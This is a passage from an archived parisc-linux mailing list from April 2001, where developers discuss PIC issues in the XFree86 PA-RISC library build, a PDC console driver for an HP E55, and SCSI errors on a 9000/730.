> gcc -c -O2 -g -ansi -pedantic -Wall -Wpointer-arith -Wstrict-prototypes -Wmissing-prototypes -Wmissing-declarations -Wredundant-decls -Wnested-externs  -I../include    -I../../../../include   -I../../../../include/GL  -I../../../.. -I../../../../exports/include  -Dlinux  -D_POSIX_SOURCE -D_POSIX_C_SOURCE=2 -D_BSD_SOURCE -D_SVID_SOURCE -D_GNU_SOURCE -DX_LOCALE   -DFUNCPROTO=15 -DNARROWPROTO   -DNDEBUG  error.c
>    Is the -fPIC missing here?

Yes (or error.o shouldn't be included in the shared lib)

>    If so, why does "file" say it's relocatable?

Because it is. :)  Relocatable files don't have to be PIC.

> 2) c++ isn't returning the error reported by collect2
>    Fortunately the build soon dies since the expected product
>    doesn't exist. Known problem?

Are you sure about this statement?  It might just be "make" (the presense
of those `+'s is ringing bells with me but I don't recall the exact
signifigance.)

Alan





From - Thu Nov 08 21:17:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@dot.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Success: My E55 (9000/856) runs bash-2.04 via PDC
Date: Sat, 14 Apr 2001 01:16:44 +0200
Organization: private
Lines: 36
Approved: news@gmane.org
Message-ID: <3AD788DB.2A4A73E2@dot.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620033 17905 80.91.229.3 (22 Nov 2014 01:33:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:53 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 14 05:35:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viemta06.chello.at (viemta06.chello.at [195.34.133.56])
	by dsl2.external.hp.com (Postfix) with ESMTP id B35E4482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 14 Apr 2001 05:35:31 -0600 (MDT)
Original-Received: from dot.at ([62.178.92.247]) by viemta06.chello.at
          (InterMail vK.4.03.02.00 201-232-124 license 6aea1bd1f01aef5a9a73363c16ebee43)
          with ESMTP id <20010413231644.LHQO27182.viemta06@dot.at>
          for <parisc-linux@lists.parisc-linux.org>;
          Sat, 14 Apr 2001 01:16:44 +0200
Original-Sender: chris@dsl2.external.hp.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16-22 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10783

Hello PA-RISC community.

Again and again I want to have my E55 running Linux, but the problem
is the serial lines (8-port MDP) is a proprietary interface. So I needed
a solution. 

I had the idea to use the PDC console, months ago.
Today hacked a driver (template was serial.c) for a polling PDC device 
driver. I called it pdc_drv.c, the device is "ttyQ0", with MAJOR 30,
MINOR 0
and I use a polling period of 30ms (enough for a serial console i/f).

Because I have not further implemented the internel console i/f for my
driver, I used the hack with the link of
	/dev/console --> /dev/ttyQ0
And my machine boots up via NFS !

Perhaps we can make a "driver" out of this "hack" !

In my driver I also use the hack, I have done for the serial.c, that
with `^\' I can reboot ( machine_restart() ) the computer to work
remote on it !

With friendly regards

	Christoph P.



-- 
-------------------------------------------------------------------------
private:	christoph.plattner@dot.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:17:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@dot.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [Fwd: Success: My E55 (9000/856) runs bash-2.04 via PDC]
Date: Sat, 14 Apr 2001 10:08:18 +0200
Organization: private
Lines: 64
Approved: news@gmane.org
Message-ID: <3AD80572.DB70DCD8@dot.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------27CEEF89CF3134258929BF29"
X-Trace: ger.gmane.org 1416620034 17908 80.91.229.3 (22 Nov 2014 01:33:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:54 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 14 05:35:33 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viemta06.chello.at (viemta06.chello.at [195.34.133.56])
	by dsl2.external.hp.com (Postfix) with ESMTP id EE6A1482C
	for <parisc-linux@lists.parisc-linux.org>; Sat, 14 Apr 2001 05:35:32 -0600 (MDT)
Original-Received: from dot.at ([62.178.92.247]) by viemta06.chello.at
          (InterMail vK.4.03.02.00 201-232-124 license 6aea1bd1f01aef5a9a73363c16ebee43)
          with ESMTP id <20010414080818.LOLX27182.viemta06@dot.at>
          for <parisc-linux@lists.parisc-linux.org>;
          Sat, 14 Apr 2001 10:08:18 +0200
Original-Sender: chris@dsl2.external.hp.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16-22 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10784

This is a multi-part message in MIME format.
--------------27CEEF89CF3134258929BF29
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Mail problem ?
------------------------------------------------------------
--------------27CEEF89CF3134258929BF29
Content-Type: message/rfc822
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

X-Mozilla-Status2: 00000000
Message-ID: <3AD788DB.2A4A73E2@dot.at>
Date: Sat, 14 Apr 2001 01:16:44 +0200
From: Christoph Plattner <christoph.plattner@dot.at>
Organization: private
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16-22 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: parisc-linux@lists.parisc-linux.org
Subject: Success: My E55 (9000/856) runs bash-2.04 via PDC
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hello PA-RISC community.

Again and again I want to have my E55 running Linux, but the problem
is the serial lines (8-port MDP) is a proprietary interface. So I needed
a solution. 

I had the idea to use the PDC console, months ago.
Today hacked a driver (template was serial.c) for a polling PDC device 
driver. I called it pdc_drv.c, the device is "ttyQ0", with MAJOR 30,
MINOR 0
and I use a polling period of 30ms (enough for a serial console i/f).

Because I have not further implemented the internel console i/f for my
driver, I used the hack with the link of
	/dev/console --> /dev/ttyQ0
And my machine boots up via NFS !

Perhaps we can make a "driver" out of this "hack" !

In my driver I also use the hack, I have done for the serial.c, that
with `^\' I can reboot ( machine_restart() ) the computer to work
remote on it !

With friendly regards

	Christoph P.



-- 
-------------------------------------------------------------------------
private:	christoph.plattner@dot.at
company:	christoph.plattner@alcatel.at

--------------27CEEF89CF3134258929BF29--





From - Thu Nov 08 21:17:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jeff Arthur" <jeffa@mustain.demon.co.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 9000/730 booting but SCSI Problems (mke2fs)
Date: Sat, 14 Apr 2001 14:59:50 +0100
Organization: Backroom Industries
Lines: 136
Approved: news@gmane.org
Message-ID: <20010414140053.CSRU283.mta03-svc.ntlworld.com@mustain.demon.co.uk>
References: <20010409225507.RNIM272.mta05-svc.ntlworld.com@mustain.demon.co.uk>; from jeffa@mustain.demon.co.uk on Mon, Apr 09, 2001 at 11:54:02PM +0100
Reply-To: jeffa@owlpoo.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416620034 17912 80.91.229.3 (22 Nov 2014 01:33:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, apul@israeli.demon.co.uk
To: jeffa@owlpoo.org, Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 14 08:00:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta03-svc.ntlworld.com (mta03-svc.ntlworld.com [62.253.162.43])
	by dsl2.external.hp.com (Postfix) with ESMTP id A77F0482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 14 Apr 2001 08:00:54 -0600 (MDT)
Original-Received: from mustain.demon.co.uk ([62.254.9.34])
          by mta03-svc.ntlworld.com
          (InterMail vM.4.01.02.27 201-229-119-110) with ESMTP
          id <20010414140053.CSRU283.mta03-svc.ntlworld.com@mustain.demon.co.uk>;
          Sat, 14 Apr 2001 15:00:53 +0100
Original-Received: from JEFFA1/SpoolDir by mustain.demon.co.uk (Mercury 1.48);
    14 Apr 01 14:59:59 +0000
Original-Received: from SpoolDir by JEFFA1 (Mercury 1.48); 14 Apr 01 14:59:56 +0000
X-Confirm-Reading-To: jeffa@owlpoo.org
X-pmrqc: 1
Return-Receipt-To: jeffa@owlpoo.org
Priority: normal
In-reply-to: <20010410093901.J6992@linuxcare.com>
X-mailer: Pegasus Mail for Win32 (v3.12b)
Xref: news.gmane.org gmane.linux.ports.parisc:10785

Thanks Richard, the commnad line change you described seems 
to have worked a treat.

My problem has now moved on, have got all things up and running 
of the hard disk now, but a few key exes are hanging, rpc.lockd, 
nscd, tar etc.

The ones in the init i have got around by removing the entries from 
rcx.d etc, but not being able to use tar is a pain.

>From posts around feb it looked like there was a known problem 
with spinlock.  Has any progress been made in that area?

ta
Jeffa

> Hi Jeff,
>   Looks like your scsi sub-system basically works, as you have presumably
> managed to partition your disk with fdisk, and you say the disks are
> detected ok on boot.  So, this doesn't look like the problem we have
> with older machines and lack of documentation.  On those older machines
> we don't even detect the disks.
> 
> First, can you send your boot messages so I can see what sort of machine
> you have and want is on the scsi bus.
> 
> Then you should check scsi bus termination and maybe try a different
> cable (unless you know the h/w works with some other OS).
> 
> You could try booting with "sim700=nodisc:0xff" on the command line to
> prevent scsi disconnect/reselect cycles.
> 
> You could try some small scsi data transfers with 'dd' to see if it works
> for simple things.
> 
> Richard
> 
> 
> On Mon, Apr 09, 2001 at 11:54:02PM +0100, Jeff Arthur wrote:
> > After help form Christoph Plattner I resolved my init 
> > problems, and got a prompt!! 
> > 
> > (Thanks Christoph, I had the problem you 
> > described a couple of builds earlier so 
> > recreated the problem, applied your fix and it 
> > worked a treat)
> > 
> > however I now have a problem with SCSI, all 
> > devices are seen ok, have removed cdrom as I 
> > noted in some earlier posts that this could 
> > cause problems, but when creating filesystems 
> > the SCSI dies.
> > 
> > I have tried a couple of drives, boot log looks 
> > fine.  Any Suggestions or is this just down to 
> > lack of docs in this area, as I noted from posts 
> > back in Feb?
> > 
> > hpbox:~# mke2fs /dev/sda3
> > mke2fs 1.19, 13-Jul-2000 for EXT2 FS 0.5b, 95/08/09
> > Filesystem label=
> > OS type: Linux
> > Block size=4096 (log=2)
> > Fragment size=4096 (log=2)
> > 71520 inodes, 142991 blocks
> > 7149 blocks (5.00%) reserved for the super user
> > First data block=0
> > 5 block groups
> > 32768 blocks per group, 32768 fragments per group
> > 14304 inodes per group
> > Superblock backups stored on blocks:
> >         32768, 98304
> > 
> > Writing inode tables: done
> > scsi0: Unable to abort command for target 2
> > scsi0: Unable to send Bus Device Reset for target 2
> > scsi0: Unable to do SCSI bus reset
> > scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
> > scsi0: istat = 0c, sstat0 = 00, sstat1 = 00, dstat = 00
> > scsi0: dsp = 000b2038 (script[0x080e]), dsps = 000b2cde, target = 0
> > scsi0: Failing command for ID2
> > SCSI disk error : host 0 channel 0 id 2 lun 0 return code = 2
> >  I/O error: dev 08:03, sector 160
> >  I/O error: dev 08:03, sector 162
> >  I/O error: dev 08:03, sector 0
> >  I/O error: dev 08:03, sector 288
> >  I/O error: dev 08:03, sector 416
> >  I/O error: dev 08:03, sector 544...
> > 
> > 
> > ... I/O error: dev 08:03, sector 1052022
> >  I/O error: dev 08:03, sector 1052150
> > Warning: could not erase block 0: Attempt to write block from filesystem resulte
> >  I/O error: dev 08:03, sector 2
> > d in short write I/O error: dev 08:03, sector 8
> > 
> > Writing superb I/O error: dev 08:03, sector 262144
> > locks and filesy I/O error: dev 08:03, sector 262152
> > stem accounting  I/O error: dev 08:03, sector 524288
> > information:  I/O error: dev 08:03, sector 786432
> >  I/O error: dev 08:03, sector 786440
> >  I/O error: dev 08:03, sector 1048576
> > done
> >  I/O error: dev 08:03, sector 2
> >  I/O error: dev 08:03, sector 8
> >  I/O error: dev 08:03, sector 262144
> >  I/O error: dev 08:03, sector 262152
> >  I/O error: dev 08:03, sector 786432
> >  I/O error: dev 08:03, sector 786440
> > 
> > 
> > Thought for the Day:
> >    Home is where you hang your @
> > 
> > 
> > 
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> > 
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux



Thought for the Day:
   The modem is the message. 





From - Thu Nov 08 21:17:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] xfree86 build problem
Date: Sat, 14 Apr 2001 16:18:47 -0600
Lines: 25
Approved: news@gmane.org
Message-ID: <200104142218.QAA30044@puffin.external.hp.com>
References: <20010414212557.E16364@squeak.one.net.au>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620034 17913 80.91.229.3 (22 Nov 2014 01:33:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:54 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: amodra@one.net.au
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 14 16:24:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id F29E5482A
	for <parisc-linux@parisc-linux.org>; Sat, 14 Apr 2001 16:24:53 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id QAA30044;
	Sat, 14 Apr 2001 16:18:47 -0600
In-Reply-To: Your message of "Sat, 14 Apr 2001 21:25:57 +0930."
             <20010414212557.E16364@squeak.one.net.au> 
Xref: news.gmane.org gmane.linux.ports.parisc:10786

amodra@one.net.au wrote:
> > 2) c++ isn't returning the error reported by collect2
> >    Fortunately the build soon dies since the expected product
> >    doesn't exist. Known problem?
> 
> Are you sure about this statement?  It might just be "make" (the presense
> of those `+'s is ringing bells with me but I don't recall the exact
> signifigance.)

I'm not. It might be a make bug.
I've seen make say something like "[ ... ignored ]" when ignoring an error.

Anyway, after spending another two hours on the -fPIC problem, I'm
starting to think the xfree86 lib build is broken by design for __hppa__.
I'll send out another mail with a patch + recipe for building the libs.
I'm pretty close to finding workarounds (not solutions) for the problems.

Do other arches allow non-PIC .o's to be linked into a .so lib?

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:17:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Drepper <drepper@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] xfree86 build problem
Date: 14 Apr 2001 16:00:52 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <m3itk7jdcr.fsf@otr.mynet.cygnus.com>
References: <200104142218.QAA30044@puffin.external.hp.com>
Reply-To: drepper@cygnus.com (Ulrich Drepper)
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620035 17919 80.91.229.3 (22 Nov 2014 01:33:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:55 +0000 (UTC)
Cc: amodra@one.net.au, parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 14 17:01:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cygnus.com (runyon.cygnus.com [205.180.230.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 67CA9482A
	for <parisc-linux@parisc-linux.org>; Sat, 14 Apr 2001 17:01:14 -0600 (MDT)
Original-Received: from otr.mynet (dialin-sv-02.cygnus.com [205.180.231.52])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id QAA07280;
	Sat, 14 Apr 2001 16:00:58 -0700 (PDT)
Original-Received: by otr.mynet (Postfix, from userid 500)
	id 02A4D3107; Sat, 14 Apr 2001 16:00:52 -0700 (PDT)
Original-Sender: drepper@cygnus.com
X-fingerprint: BE 3B 21 04 BC 77 AC F0  61 92 E4 CB AC DD B9 5A
X-fingerprint: e6:49:07:36:9a:0d:b7:ba:b5:e9:06:f3:e7:e7:08:4a
In-Reply-To: Grant Grundler's message of "Sat, 14 Apr 2001 16:18:47 -0600"
Original-Lines: 11
User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.2 (Thelxepeia)
Xref: news.gmane.org gmane.linux.ports.parisc:10787

Grant Grundler <grundler@puffin.external.hp.com> writes:

> Do other arches allow non-PIC .o's to be linked into a .so lib?

Many do.  You will get text relocations (indicated by the DT_TEXTREL
tag) which render your DSO unsharable.

-- 
---------------.                          ,-.   1325 Chesapeake Terrace
Ulrich Drepper  \    ,-------------------'   \  Sunnyvale, CA 94089 USA
Red Hat          `--' drepper at redhat.com   `------------------------




From - Thu Nov 08 21:17:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] xfree86 build problem
Date: Sun, 15 Apr 2001 00:41:00 +0100 (BST)
Lines: 14
Approved: news@gmane.org
Message-ID: <E14oZf5-0005mU-00@the-village.bc.nu>
References: <200104142218.QAA30044@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620035 17920 80.91.229.3 (22 Nov 2014 01:33:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:55 +0000 (UTC)
Cc: amodra@one.net.au, parisc-linux@parisc-linux.org
To: grundler@puffin.external.hp.com (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 14 17:39:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from the-village.bc.nu (router-100M.swansea.linux.org.uk [194.168.151.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id C399F482A
	for <parisc-linux@parisc-linux.org>; Sat, 14 Apr 2001 17:39:33 -0600 (MDT)
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 14oZf5-0005mU-00; Sun, 15 Apr 2001 00:41:03 +0100
In-Reply-To: <200104142218.QAA30044@puffin.external.hp.com> from "Grant Grundler" at Apr 14, 2001 04:18:47 PM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:10788

> Anyway, after spending another two hours on the -fPIC problem, I'm
> starting to think the xfree86 lib build is broken by design for __hppa__.
> I'll send out another mail with a patch + recipe for building the libs.
> I'm pretty close to finding workarounds (not solutions) for the problems.

Did the patches I built to get XFree86 libs building not get as far as you.
I sent them to Paul (I believe)

> Do other arches allow non-PIC .o's to be linked into a .so lib?

Generally - yes.




From - Thu Nov 08 21:17:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: amodra@one.net.au
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] xfree86 build problem
Date: Sun, 15 Apr 2001 14:12:16 +0930
Lines: 15
Approved: news@gmane.org
Message-ID: <20010415141215.A25145@squeak.one.net.au>
References: <200104142218.QAA30044@puffin.external.hp.com> <E14oZf5-0005mU-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620035 17927 80.91.229.3 (22 Nov 2014 01:33:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:55 +0000 (UTC)
Cc: Grant Grundler <grundler@puffin.external.hp.com>,
	parisc-linux@parisc-linux.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 14 21:41:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail-ob05.one.net.au (mail-ob05.one.net.au [61.12.0.165])
	by dsl2.external.hp.com (Postfix) with ESMTP id 712F0482A
	for <parisc-linux@parisc-linux.org>; Sat, 14 Apr 2001 21:41:00 -0600 (MDT)
Original-Received: Received: [from squeak.local (async134-ade-isp-4.nas.one.net.au [203.101.93.135])
	by mail-ob05.one.net.au  with SMTP id f3F3emW15591
	for <parisc-linux@parisc-linux.org>; Sun, 15 Apr 2001 13:40:49 +1000 (EST)]
Original-Received: (qmail 25231 invoked by uid 179); 15 Apr 2001 04:42:16 -0000
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
In-Reply-To: <E14oZf5-0005mU-00@the-village.bc.nu>; from alan@lxorguk.ukuu.org.uk on Sun, Apr 15, 2001 at 12:41:00AM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:10789

On Sun, Apr 15, 2001 at 12:41:00AM +0100, Alan Cox wrote:
> > Do other arches allow non-PIC .o's to be linked into a .so lib?
> 
> Generally - yes.

True, but it's not recommended.  The reason being that non-PIC code in
a shared lib will mean lib pages with relocations can't be shared between
processes should the library be loaded at a different virtual addresses.

--
Alan Modra





From - Thu Nov 08 21:17:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] xfree86 build problem
Date: Sat, 14 Apr 2001 22:23:24 -0600
Lines: 26
Approved: news@gmane.org
Message-ID: <200104150423.WAA30889@puffin.external.hp.com>
References: <E14oZf5-0005mU-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620036 17930 80.91.229.3 (22 Nov 2014 01:33:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:56 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 14 22:30:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id C6F87482A
	for <parisc-linux@parisc-linux.org>; Sat, 14 Apr 2001 22:30:36 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id WAA30889;
	Sat, 14 Apr 2001 22:23:24 -0600
In-Reply-To: Your message of "Sun, 15 Apr 2001 00:41:00 BST."
             <E14oZf5-0005mU-00@the-village.bc.nu> 
Xref: news.gmane.org gmane.linux.ports.parisc:10790

Alan Cox wrote:
> Did the patches I built to get XFree86 libs building not get as far as you.
> I sent them to Paul (I believe)

nope. On Thursday, paul (Lahaie) forwarded an email from you (Feb 12th)
stating you would dig up the patches for him but no patches.I pointed
this out to paul but he didn't reply yet. Can you fwd me the patches?

Besides, alot has changed since you built xfree86.
But I could use it as guidance.

BTW, I did get the libs to build.  I've hacked the Imakefile for libGLU
so only the .a gets built.  Battling my way through programs directories
now. A good test to see if the libs are useful or not (already found
the libfreetype.a was missing/stale).
Short notes and diff are on pehc:~grundler/*.xfree86

ta,
grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:17:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: amodra@one.net.au
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] xfree86 build problem
Date: Sun, 15 Apr 2001 15:47:43 +0930
Lines: 32
Approved: news@gmane.org
Message-ID: <20010415154649.F25145@squeak.one.net.au>
Reply-To: 200104150436.WAA30928@puffin.external.hp.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620036 17933 80.91.229.3 (22 Nov 2014 01:33:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 14 23:16:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail-ob03.one.net.au (mail-ob03.one.net.au [61.12.0.163])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0D083482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 14 Apr 2001 23:16:31 -0600 (MDT)
Original-Received: Received: [from squeak.local (async134-ade-isp-4.nas.one.net.au [203.101.93.135])
	by mail-ob03.one.net.au  with SMTP id f3F5GM313473
	for <parisc-linux@lists.parisc-linux.org>; Sun, 15 Apr 2001 15:16:22 +1000 (EST)]
Original-Received: (qmail 25516 invoked by uid 179); 15 Apr 2001 06:17:43 -0000
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
Xref: news.gmane.org gmane.linux.ports.parisc:10791

On Sat, Apr 14, 2001 at 10:36:25PM -0600, Grant Grundler wrote:
> amodra@one.net.au wrote:
> > True, but it's not recommended.  The reason being that non-PIC code in
> > a shared lib will mean lib pages with relocations can't be shared between
> > processes should the library be loaded at a different virtual addresses.
> 
> Well, I guess either x86 doesn't have that problem,

It does.

> no one has noticed it, or no one cares (OpenGL fans?).

Possibly :-(  As Ulrich mentioned, it's fairly easy to see if a shared lib
can't actually be shared.  "readelf -d libwhatever.so | grep DT_TEXTREL"

> Under build-env/xc/lib/GL/glu Imakefiles
> all have the following construct: (eg libtess/Imakefile)
> 
> 	NormalLibraryTarget(tess, $(OBJS))
> 		rm -f unshared; ln -sf . ./unshared
> 
> The result is only .a's get built and the libGLU.so is globbed together
> from those. The last step fails for __hppa__ since the .o's are non-PIC.

I suppose you could build the .a lib with -fPIC as a workaround.

-- 
Alan Modra





From - Thu Nov 08 21:17:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] xfree86 build problem
Date: Sun, 15 Apr 2001 13:32:26 +0100 (BST)
Lines: 7
Approved: news@gmane.org
Message-ID: <E14olhc-0006hO-00@the-village.bc.nu>
References: <200104150423.WAA30889@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620037 17936 80.91.229.3 (22 Nov 2014 01:33:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:57 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk (Alan Cox),
	parisc-linux@parisc-linux.org
To: grundler@puffin.external.hp.com (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr 15 06:31:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from the-village.bc.nu (router-100M.swansea.linux.org.uk [194.168.151.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id E8A58482A
